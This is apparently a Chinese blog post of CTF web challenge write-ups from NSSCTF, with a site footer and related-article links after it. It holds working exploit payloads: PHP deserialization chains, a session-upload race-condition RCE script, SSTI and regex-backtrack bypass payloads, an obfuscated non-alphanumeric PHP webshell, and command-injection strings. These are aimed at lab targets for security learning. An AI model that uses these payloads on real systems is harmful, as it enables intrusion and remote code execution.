NSS刷web3

news2024/12/23 4:50:15

[HDCTF 2023]SearchMaster在这里插入图片描述

[天翼杯 2021]esay_eval

这题会匹配A或B类
"A":1:
绕不过去 可以考虑快速析构

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public $a;
    function __destruct(){
        echo $this->a->a();
    }
}
$A = new A();
$poc = new B();
$poc -> a = $A;
$A ->code = 'phpinfo();';
echo serialize($poc);

// if(isset($_REQUEST['poc'])){
//     preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
//     if (isset($ret[1])) {
//         foreach ($ret[1] as $i) {
//             if(intval($i)!==1){
//                 exit("you want to bypass wakeup ? no !");
//             }
//         }
//         unserialize($_REQUEST['poc']);    
//     }


// }

生成的序列化字符串手动删除最后一个花括号
然后试了一下system不能用 应该是进disable_functions了
在这里插入图片描述
那直接上蚁剑用插件绕
在这里插入图片描述

[GDOUCTF 2023]受不了一点

在这里插入图片描述

[HNCTF 2022 Week1]easy_html

在这里插入图片描述
在这里插入图片描述

[UUCTF 2022 新生赛]ez_rce

?code=`l''s />1`;

在这里插入图片描述

?code=`t''ac  /fffffffffflagafag>1`;

[GKCTF 2020]CheckIN

Ginkgo传base64加密的payload
然后发现不能用system 看看disable_functions
在这里插入图片描述
拿蚁剑绕
在这里插入图片描述
其中base64解码后是 eval($_POST[1]);
在这里插入图片描述
多试几个 我不知道最终成的是那个

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

先读flag.php
说在根目录
在这里插入图片描述

[第五空间 2021]EasyCleanup

session包含 条件竞争
早jb忘了 有空重新看一下 这里直接用脚本了

import io
import requests
from threading import Thread

url = 'http://node4.anna.nssctf.cn:28944'
session_id = 'a'


def POST(session):
    file = io.BytesIO(b'a' * 1024 * 5)
    times = 0
    while True:
        session.post(url=url,
                     data={
                         "PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /nssctfasdasdflag');echo md5('1');?>"},
                     cookies={'PHPSESSID': session_id},
                     files={"file": ('a.txt', file)},
                     )
        print(f'上传文件{times}')
        times += 1


def GET(session):
    geturl = url + f'?file=/tmp/sess_{session_id}'
    print(geturl)
    while True:
        response = session.get(url=geturl)
        if 'c4ca4238a0b923820dcc509a6f75849b' in response.text:
            print(response.text)
            break
        else:
            print('[+]retry-----')


if __name__ == '__main__':
    with requests.session() as session:
        t1 = Thread(target=POST, args=(session,))
        t1.daemon = True
        t1.start()
        GET(session)

[HNCTF 2022 Week1]easy_upload

直接传一句话就进去了

在这里插入图片描述

[SWPUCTF 2022 新生赛]奇妙的MD5

ffifdyop
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

[HNCTF 2022 Week1]What is Web

在这里插入图片描述

[NISACTF 2022]is secret在这里插入图片描述

RC4是对称密码 这里给key了
在这里插入图片描述

在这里插入图片描述
| 和 read 都不能用
{{lipsum.__globals__.os.popen('cat /f*')['re''ad']()}}
在这里插入图片描述

[WUSTCTF 2020]朴实无华

在这里插入图片描述

[NISACTF 2022]middlerce

在这里插入图片描述
离谱正则 考虑绕正则回溯次数绕过

import requests
payload = '{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28625/",
                    data={"letter": payload})
print(res.text)

[LitCTF 2023]Flag点击就送!

session伪造 key是猜的 这题没什么道理
在这里插入图片描述

[HNCTF 2022 Week1]Interesting_http

post 传 want=flag
cookie改admin
XFF改本地

[SWPUCTF 2022 新生赛]numgame

在这里插入图片描述

callUserFunc对大小写不敏感在这里插入图片描述
改NSS2然后查看源码

[NISACTF 2022]join-us

登录处存在sql注入
database被ban了

通过不存在的方法来得到数据库名
然后extractvalue没给ban
在这里插入图片描述
然后在查列名的时候发现column被ban了
题目叫join-us 很容易能想到用join无列名注入

在这里插入图片描述

[HUBUCTF 2022 新生赛]HowToGetShell

在这里插入图片描述

[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
$poc = new lyh();
$poc->lt = "system";
$poc->lly = "tac /f*";
echo serialize($poc);

nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:7:"tac /f*";}

[NSSRound#4 SWPU]1zweb

在这里插入图片描述

[SWPUCTF 2021 新生赛]hardrce_3

在这里插入图片描述
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

assert($POST[_]);
因为是get 记得url编码
这里发现直接执行命令不行 通过phpinfo得知很多命令都ban了 那么还是考虑写个shell 用蚁剑绕
在这里插入图片描述

[SWPUCTF 2022 新生赛]where_am_i

没头绪
看评论说是社工
那么应该是要电话号码
百度搜图得知 该地点是山水间·古迹酒店 暑袜北一街145号
在这里插入图片描述
把括号删了输入就行

没写明白这题为什么在WEB里

[HNCTF 2022 WEEK2]easy_include

日志文件包含
在这里插入图片描述

[SWPUCTF 2022 新生赛]ez_ez_unserialize


<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}

$p = new X("fllllllag.php");
echo serialize($p);
//O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

然后绕一下wakeup
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
在这里插入图片描述

[GDOUCTF 2023]反方向的钟


<?php
error_reporting(0);

// flag.php
class teacher
{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name, $rank, $salary = 10000)
    {
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom
{
    public $name;
    public $leader;
    public function __construct($name, $leader)
    {
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha()
    {
        if ($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank != 'department') {
            return False;
        } else {
            return True;
        }
    }
}

class school
{
    public $department;
    public $headmaster;
    public function __construct($department, $ceo)
    {
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO()
    {
        if ($this->headmaster == 'ong') {
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup()
    {
        if ($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
$T = new teacher('ing', 'department');
$C = new classroom("one class", $T,);
$p = new school($C, 'ong');
echo base64_encode(serialize($p));
//Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

利用点是new对象 这里我们考虑new原生类
注意SplFileObject是逐行读的 所以我们要用伪协议
在这里插入图片描述

prize_p5

简单看了一下 应该是原生类找文件 然后用escape读
在这里插入图片描述
先开个GlobIterator找flag

<?php
error_reporting(0);

class catalogue
{
    public $class;
    public $data;
    public function __construct($class, $data)
    {
        $this->class = $class;
        $this->data = $data;
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}

$p = new catalogue("GlobIterator", "/*flag*");
echo serialize($p);
//O:9:"catalogue":2:{s:5:"class";s:12:"GlobIterator";s:4:"data";s:7:"/*flag*";}

在这里插入图片描述

非预期 改16进制
这个点我第一次见
把小s改大写S 然后就可以用十六进制了
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"\53\70\6c\46\69\6c\65\4f\62\6a\65\63\74";s:4:"data";s:5:"/flag";}
预期是字符串逃逸
在这里插入图片描述

[CISCN 2019初赛]Love Math

要尝试构造字母 base_convert()可以任意进制转换
36进制构造phpinfo试试
在这里插入图片描述

然而phpinfo里没有flag
尝试了用system 读了一下当前目录 可以用
但是36进制又弄不出来空格之类的东西 读不了根目录
考虑到hex2bin函数 我们可以先构造hex2bin 然后就可以构造任意字符了
base_convert(37907361743,10,36)(dechex())
在这里插入图片描述

最终payload
c=\$abs=base_convert(37907361743,10,36)(dechex(1598506324));(\$\$abs){1}((\$\$abs){2})&1=system&2=cat \f*

[NCTF 2018]flask真香

在这里插入图片描述

[SWPUCTF 2022 新生赛]xff

在这里插入图片描述

[SWPUCTF 2022 新生赛]js_sign

在这里插入图片描述
hint解码完是tapcode
在这里插入图片描述
加括号里面转小写

[LitCTF 2023]就当无事发生

没环境了

[NSSRound#8 Basic]MyDoor

存在文件包含
日志文件包含给ban了
试试远程 也ban了
尝试伪协议读一下index.php

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/828724.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Emacs之将.el编译成bin(一百二十五)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

Wireshark抓包分析TCP协议:三次握手和四次挥手

01、前言 面试中我们经常会被问到TCP协议的三次握手和四次挥手的过程&#xff0c;为什么总喜欢问这个问题呢&#xff1f; 其实我们平时使用的很多协议都是应用层协议&#xff0c;比如HTTP协议&#xff0c;https协议&#xff0c;DNS协议&#xff0c;FTP协议等&#xff1b;而应…

工作流与状态机

引言与动机&#xff1a;世界是那么的广阔无垠&#xff0c;姿态万千&#xff0c;我们梦想着计算设备的多元化&#xff0c;而如今我们已经梦想成真&#xff0c;但同时业务模型同样变得纷繁复杂。如果不考虑我们拥有的繁杂的业务模型&#xff0c;就很难谈得上去探索行业发展的方向…

NSX多租户之旅

从多租户数据面到完整的多租户框架 我们很高兴地宣布NSX中的Projects这一项新功能&#xff0c;可以对NSX部署的多个租户进行细粒度的资源管理。 Projects提供灵活的资源分配和管理&#xff0c;将NSX的多租户支持提升到新的水平。企业管理员可以将平台划分为不同Projects&…

Java类集框架(一)

目录 1.Collection集合接口 2.List 接口 (常用子类 ArrayList ,LinkedList,Vector) 3.Set 集合 接口(常用子类 HashSet LinkedHashSet,TreeSet) 4.集合输出(iterator , Enumeration) 1.Collection集合接口 Collection是集合中最大父接口&#xff0c;在接口中定义了核心的…

SolidWorks二次开发系列入门100篇之97-极点坐标

什么是极点 一个模型中的极点是指在某个方向上的最高或最低点。在三维模型中&#xff0c;通常有三个方向&#xff1a;x轴、y轴和z轴。因此&#xff0c;在x轴&#xff0c;y轴和z轴的正方向和负方向上&#xff0c;每个模型可能都有两个极点。极点通常是一些锐角或骨刺&#xff0…

攻防世界zorropub题解与subprocess模块

目录 题目分析&#xff1a; subprocess模块&#xff1a; subprocess.Popen()函数&#xff1a; subprocess.run()函数&#xff1a; 题目脚本&#xff1a; 在攻防世界做到一个题目感觉还挺有意思&#xff0c;记录一下 这个放链接也只是攻防世界的页面&#xff0c;所以直接说…

docker数据持久化

在Docker中若要想实现容器数据的持久化&#xff08;所谓的数据持久化即数据不随着Container的结束而销毁&#xff09;&#xff0c;需要将数据从宿主机挂载到容器中。目前Docker提供了三种不同的方式将数据从宿主机挂载到容器中。 &#xff08;1&#xff09;Volumes&#xff1a;…

【C#学习笔记】值类型(1)

虽然拥有编程基础的人可以很快地上手C#&#xff0c;但是依然需要学习C#的特性和基础。本系列是本人学习C#的笔记&#xff0c;完全按照微软官方文档编写&#xff0c;但是不适合没有编程基础的人。 文章目录 .NET 体系结构Hello&#xff0c;World类型和变量&#xff08;重要&…

分库分表之基于Shardingjdbc+docker+mysql主从架构实现读写分离 (三)

本篇主要说明&#xff1a; 1. 因为这个mysql版本是8.0&#xff0c;所以当其中一台mysql节点挂掉之后&#xff0c;主从同步&#xff0c;甚至双向数据同步都失效了&#xff0c;所以本篇主要记录下当其中的节点挂掉之后如何再次生效。另外推荐大家使用mysql5.7的版本&#xff0c;这…

3-ASCII-座位渲染-二维码

一 ASCII码 1 概念 ascii码是一种计算机信息交换标准,在这个表里面制定了 128个数字跟128个字符的对应关系 我们只关注字母跟数字的对应关系 2 ASCII码转字符 let str String.fromCharCode(数字)二 js对象跟查询字符串互转 a js对象转查询字符串 //创建一个对象 let obj …

新SDK平台下载开源全志D1-H/D1s的SDK

获取SDK SDK 使用 Repo 工具管理&#xff0c;拉取 SDK 需要配置安装 Repo 工具。 Repo is a tool built on top of Git. Repo helps manage many Git repositories, does the uploads to revision control systems, and automates parts of the development workflow. Repo is…

【Python】模块学习之matplotlib柱状图、饼状图、动态图及解决中文显示问题

目录 前言 安装 pip安装 安装包安装 柱状图 主要方法 参数说明 示例代码 效果图 解决中文显示问题 修改后的图片 饼状图 主要方法 示例代码 效果图 动态图 主要方法 动态图官方使用介绍 示例代码 颜色设置 内建颜色 字体设置 资料获取方法 前言 众所周…

WPF上位机6——文件操作、多线程、线程锁、Task异步编程

文件操作 文件夹操作 创建文件夹 磁盘信息 文件的读写 文件流 Thread多线程 带参数创建线程 Task多线程 创建方式1 第一种 第二种 第三种&#xff1a;线程池的方式 前台与后台线程 线程锁 Task异步编程 task任务取消 task返回值 async await异步 并行库Parallel

CEC2014:CEC2014测试函数及多种智能优化算法求解CEC2014对比

目录 一、CEC2014测试函数 二、多种智能优化算法求解CEC2014 2.1 本文参与求解CEC2014的智能优化算法 2.2 部分测试函数运行结果与收敛曲线 三、曲线标记代码(获得代码后可自行更改&#xff09; 一、CEC2014测试函数 CEC2014测试集共有30个单目标测试函数&#xff0…

linux下docker安装、镜像下载、镜像基础操作、容器基础操作

目录 一、环境准备 1、开启虚拟化 2、关闭防火墙 3、yum仓库获取阿里源&#xff08;清华、京东都可以&#xff09; 4、确保能ping到外网 二、安装docker 1、yum安装docker 2、启动docker并设置开机自启 3、安装docker-ce阿里镜像加速器 三、docker基本操作 1、查看版…

如何在项目需求与技术方案未确定的情况下掌控上线时间?

需求不明确与技术方案未确定的挑战 在任何项目管理过程中&#xff0c;需求和技术方案是两个核心环节。理想情况下&#xff0c;我们希望在项目开始阶段就有清晰明确的需求和经过深思熟虑的技术方案。然而&#xff0c;现实中的项目管理往往并不如此理想。 项目需求的重要性 需求…

2023年全新版Java学习路线,精心整理【文中送书福利 】

小伙伴们大家好&#xff0c;这里是动力节点&#xff0c;我们从2009年开始一直在从事Java培训 到今年已经整14年了&#xff0c;虽然现在不缺培训机构&#xff0c;更不缺Java培训&#xff0c;但是像我们这么多年专注这一件事的应该也不多。我们只希望在“专业”两个字上面不断精…

Vue3 基础知识点汇总 自学笔记,记录难点 和 新知识点

1.vue3 基础 1.1vue3基础及创建 npm init vue@latest1.2.熟悉项目目录及关键文字 1.3 组合式API-setup 1.4.组合式 API reactive 和ref 函数 (都是为了生成响应式数据) 1.5.组合式API-computed 计算属性函数 1.6.watch 函数 1.7.组合式API-生命周期函数 1.8.组合式 API-父子…

Spring之事务实现方式及原理

目录 Spring事务简介 Spring支持事务管理的两种方式 编程式事务控制 声明式事务管理 Spring事务角色 未开启事务之前 开启Spring的事务管理后 事务配置 事务传播行为 事务传播行为的可选值 Spring事务简介 事务作用&#xff1a;在数据层保障一系列的数据库操作同成功…